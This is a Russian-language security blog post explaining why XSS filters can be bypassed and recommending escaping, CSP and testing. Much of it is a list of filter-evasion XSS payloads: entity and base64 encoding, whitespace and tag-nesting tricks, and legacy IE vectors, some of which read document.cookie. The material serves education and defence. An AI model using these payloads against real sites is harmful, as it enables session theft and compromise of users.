Почему фильтрация не останавливает cross-site scripting

Техники обхода XSS-фильтров позволяют злоумышленникам проводить успешные атаки. Этот пост перечисляет некоторые из наиболее распространённых методов обхода фильтров, показывает, почему фильтрации нельзя доверять для остановки XSS-атак, и обсуждает рекомендованные способы предотвращения cross-site scripting.

Обход XSS-фильтров

Обход XSS-фильтров охватывает сотни методов, которые злоумышленники могут использовать для обхода фильтров cross-site scripting (XSS). Успешная атака требует как наличия XSS-уязвимости, так и способов внедрения вредоносного JavaScript в код веб-страницы, который выполняется на стороне клиента для эксплуатации этой уязвимости. Идея XSS-фильтрации заключается в предотвращении атак путём поиска и блокирования (или удаления) любого кода, который выглядит как попытка XSS-атаки. Проблема в том, что существует множество способов обхода таких фильтров, поэтому фильтрация сама по себе никогда не может полностью предотвратить XSS. Прежде чем перейти к некоторым из известных методов обхода фильтров, начнём с краткого обзора концепции и истории XSS-фильтрации.

Что такое XSS-фильтрация?

На уровне приложения XSS-фильтрация означает проверку входных данных пользователя, которая выполняется специально для выявления и предотвращения попыток инъекции скриптов. Фильтрация может проводиться локально в браузере, при обработке на стороне сервера или с помощью веб-аппликационного брандмауэра (WAF). На протяжении многих лет преимущественно использовалась фильтрация на стороне сервера, но со временем производители браузеров начали внедрять собственные фильтры, называемые XSS-аудиторами, для предотвращения хотя бы некоторых попыток cross-site scripting от достижения пользователя.

Идея заключалась в том, что фильтр сканирует код, поступающий в браузер, и ищет типичные признаки XSS-атак, такие как подозрительные <script> теги в неожиданных местах. Общие подходы к фильтрации включали сложные регулярные выражения (regex) и чёрные списки кодовых строк. Если потенциально опасный код был найден, аудитор мог заблокировать либо всю страницу, либо только подозрительный фрагмент кода. Обе реакции имели свои недостатки и могли даже открыть новые уязвимости и векторы атак, из-за чего встроенные фильтры браузеров скоро исчезли.

Все подходы к фильтрации имеют свои ограничения. Фильтрация XSS с помощью браузера эффективна только против отражённых XSS-атак, где вредоносный код, внедрённый злоумышленником, непосредственно отображается в браузере клиента. Клиентские фильтры и аудиторы бесполезны против XSS, где атакующий код не обрабатывается браузером, включая DOM-based XSS и сохранённый XSS. Фильтры на стороне сервера и WAF могут помочь против отражённого и сохранённого XSS, но бессильны против DOM-based атак, так как они происходят полностью в браузере, и код эксплуатации никогда не поступает на сервер. Кроме того, попытка выполнить XSS-фильтрацию в самом веб-приложении чрезвычайно сложна, может иметь непредвиденные последствия и требует постоянного обслуживания для того, чтобы идти в ногу с новыми угрозами.

Как злоумышленники обходят фильтры cross-site scripting

В лучшем случае, XSS-фильтрация добавляет дополнительный уровень сложности для работы злоумышленников, создающих XSS-атаки, так как любой внедренный скрипт-код сначала должен пройти фильтры. Хотя XSS-атаки обычно нацелены на уязвимости приложений и ошибки настроек, техники обхода XSS используют пробелы в фильтрации, выполняемые браузером, сервером или WAF.

Существует множество подходов к обходу, которые могут комбинироваться для создания бесчисленного количества обходов. Общий знаменатель заключается в том, что они злоупотребляют специфичными для продукта реализациями спецификаций веб-технологий. Большая часть любого кодового базиса браузера посвящена обработке неправильно сформированных HTML, CSS и JavaScript для попытки исправления кода перед его представлением пользователю. Техники обхода XSS-фильтров используют этот сложный клубок языков, спецификаций, исключений и специфичных для браузеров особенностей, чтобы пропустить вредоносный код через фильтры.

Примеры обхода XSS-фильтров

Попытки обхода фильтров могут нацеливаться на любой аспект разбора и обработки веб-кода, поэтому нет четких категорий и список всегда открыт. Наиболее очевидные инъекции тегов script обычно отклоняются сразу, но существует много других методов, и можно также использовать другие HTML-теги как векторы инъекций. Особенно часто используются обработчики событий для загрузки скриптов, так как их можно привязать к законным действиям пользователя и трудно просто удалить без нарушения функциональности. Часто используются обработчики, такие как onerror, onclick и onfocus, но большинство поддерживаемых обработчиков событий могут быть использованы как векторы XSS.

Чтобы детальнее понять о большом количестве способов обхода XSS-фильтра, список ниже является лишь небольшой частью инструментов, доступных злоумышленникам.

Трюки с кодированием символов

Чтобы обойти фильтры, которые базируются на поиске в тексте подозрительных строк, злоумышленники имеют множество способов кодирования одного или многих символов. Кодировки также могут быть вложенными, поэтому можно кодировать одну и ту же строку много раз, потенциально используя разные методы. Выбор кодировки также зависит от контекста, так как браузеры кодируют и декодируют символы по-разному в различных местах (например, URL-кодирование поддерживается только для значений URL в href тегах). Следующие примеры показывают лишь несколько возможностей без использования трюков с Unicode.
Чтобы обойти фильтры, которые непосредственно ищут строку типа javascript:, некоторые или все символы могут быть записаны как HTML-сущности с использованием ASCII-кодов:

<a href="&#106;avascript:alert('Successful XSS')">Click this link!</a>

Чтобы обойти фильтры, которые ищут HTML-сущности с использованием шаблона &# с последующим числом, можно использовать ASCII-коды, но в шестнадцатеричном кодировании:

<a href="&#x6A;avascript:alert(document.cookie)">Click this link!</a>

Base64-кодирование может использоваться для маскировки кода атаки. В этом примере также выводится предупреждение с сообщением “Successful XSS”:

<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

Все закодированные сущности символов могут содержать от 1 до 7 цифровых символов. В дополнение, любые начальные нулевые символы игнорируются. Это дает каждой сущности в каждом кодировании несколько дополнительных нулевых версий (XSS filter evasion cheat sheet от OWASP перечисляет не менее 70 действительных способов кодирования только символа <). Важно заметить, что точки с запятыми не обязательно нужны в конце сущностей:

<a href="&#x6A;avascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a>

Кодовые символы могут использоваться для скрытия XSS-нагрузок:

<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>

Встраивание пробелов

Браузеры очень терпимы к пробелам в HTML и JavaScript коде, поэтому время от времени злоумышленники встраивают невидимые символы. Это еще один способ запутать фильтры. В настоящее время большинство браузеров уже не удается обмануть подобными случаями с пробелами, хотя такие схемы все еще могут работать в некоторых контекстах.

Символы табуляции игнорируются при разборе кода, поэтому их можно использовать для разбиения ключевых слов, как в этом теге img (этот тег не будет работать в современном браузере):

<img src="java script:al ert('Successful XSS')">.

Вкладки также можно закодировать:

<img src="java&#x09;script:al&#x09;ert('Successful XSS')">

Так же как и табуляции, новые строки и возвраты каретки также игнорируются и могут быть дополнительно закодированы:

<a href="jav&#x0A;ascript:&#x0A;ale&#x0D;rt('Successful XSS')">Visit google.com</a>

Некоторые фильтры могут искать “javascript: или ‘javascript: и не ожидать пробелов после кавычек. На самом деле любое количество пробелов и метасимволов от 1 до 32 (десятичных) будет действительным:

<a href="  &#x8; &#23;   javascript:alert('Successful XSS')">Click this link!</a>

Манипуляции с тегами

Если фильтр просто сканирует код один раз и удаляет определенные теги, такие как <script>, вложение их внутрь других тегов оставит действительный код после их удаления:

<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

Пробелы между элементами часто можно опускать. Кроме того, косая черта является допустимым разделителем между названием тега и названием элемента, что может быть полезным для обхода ограничений на пробелы во входных данных. Важно обратить внимание на отсутствие пробелов во всей строке:

<img/src="funny.jpg"onload=javascript:eval(alert('Successful&#32XSS'))>

Другой пример без пробелов, на этот раз с использованием тега svg:

<svg/onload=alert('XSS')>

Если скобки или одиночные кавычки запрещены, их можно заменить на обратные кавычки, и это все еще будет действительным JavaScript:

<svg/onload=alert`xss`>

Попытки обхода также могут использовать усилия браузера по интерпретации и заполнению неправильных тегов. Вот пример, в котором пропущен атрибут href и кавычки (большинство других обработчиков событий также можно использовать):

<a onmouseover=alert(document.cookie)>Go to google.com</a>

И экстремальный пример полностью разрушенного img тега, который загружает скрипт после исправления браузером:

<img """><script src=xssattempt.js></script>">

Дополнительные развлечения с Internet Explorer

До появления Chrome, Firefox и Edge практически исключительно использовался Internet Explorer. Из-за многочисленных нестандартных реализаций и особенностей, связанных с другими технологиями Microsoft, IE предоставлял уникальные векторы обхода фильтров. И прежде чем отклонить его как устаревший и маргинальный браузер, нужно помнить, что некоторые устаревшие корпоративные приложения могут продолжать полагаться на особенности, характерные для IE.

Большинство проверок XSS ищут JavaScript, но Internet Explorer до версии IE10 также принимал VBScript:

<a href='vbscript:MsgBox("Successful XSS")'>Click here</a>

Еще одна уникальная особенность IE — динамические свойства, которые позволяют использовать выражения сценариев как значения CSS:

body { color: expression(alert('Successful XSS')); }

Редкий и устаревший атрибут dynsrc может предоставить другой вектор:

<img dynsrc="javascript:alert('Successful XSS')">

Рекомендуется использовать обратные кавычки, когда нужны и двойные, и одинарные кавычки:

<img src=`javascript:alert("The name is 'XSS'")`>

В старых версиях IE также можно было включить скрипт, замаскированный под внешнюю таблицу стилей:

<link rel="stylesheet" href="http://example.com/xss.css">

Устаревшие методы

Спецификации и реализации веб-технологий меняются настолько часто, что методы обхода фильтров XSS имеют короткий срок службы. Ниже приведены определенные случаи, которые сегодня не должны работать, но дают представление о множестве крайних случаев, которые могут возникнуть при внедрении новых спецификаций, а также поддержке обратной совместимости.

Инъекция в фоновое изображение:

<body background="javascript:alert('Successful XSS')">

То же самое, но с использованием стиля:

<div style="background-image:url(javascript:alert('Successful XSS'))">

Изображение без какого-либо тега img и со скриптом вместо файла изображения:

<input type="image" src="javascript:alert('Successful XSS')">

Скрипт, инъектированный как целевой URL для мета-тега перенаправления. В некоторых старых браузерах это отобразит уведомление, которое оценивает Base64-кодированный JavaScript-код:

<meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

И последний случай — когда-то можно было скрыть XSS-нагрузку, используя кодировку UTF-7:

<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>
+adw-script+ad4-alert('xss');+adw-/script+ad4-

Как защитить приложения от cross-site scripting другими методами, кроме фильтрации?

Хотя веб-аппликационные брандмауэры могут обеспечить некоторое фильтрование XSS, стоит помнить, что это лишь один из многих уровней защиты. С сотнями способов обхода фильтров и появлением новых векторов каждый день, фильтрация сама по себе не может предотвратить XSS. В сочетании с возможностью взлома действительных скриптов в сложных современных приложениях это одна из причин, почему производители браузеров отказываются от фильтрации.

Написание защищенного кода, который не уязвим для XSS-атак, может иметь гораздо большее влияние на безопасность приложений и пользователей, чем любые фильтры. На уровне приложения это означает обработку всех входных данных, которые контролируются пользователем. Такие данные должны помечаться как ненадежные по умолчанию и правильное применение контекстно-чувствительного экранирования и кодирования. На уровне протокола HTTP главным оружием против cross-site scripting являются должным образом настроенные заголовки Content Security Policy (CSP) и другие заголовки безопасности HTTP.

С соблюдением этих передовых практик также необходимо регулярно тестировать каждый сайт, приложение и API, чтобы убедиться, что новый код, обновления и изменения настроек не приводят к эксплуатационным уязвимостям XSS. Использование веб-сканера уязвимостей корпоративного уровня, который проверяет наличие уязвимостей и неправильных настроек безопасности как часть непрерывного процесса, является важной частью гигиены безопасности приложений.

Подписаться на новости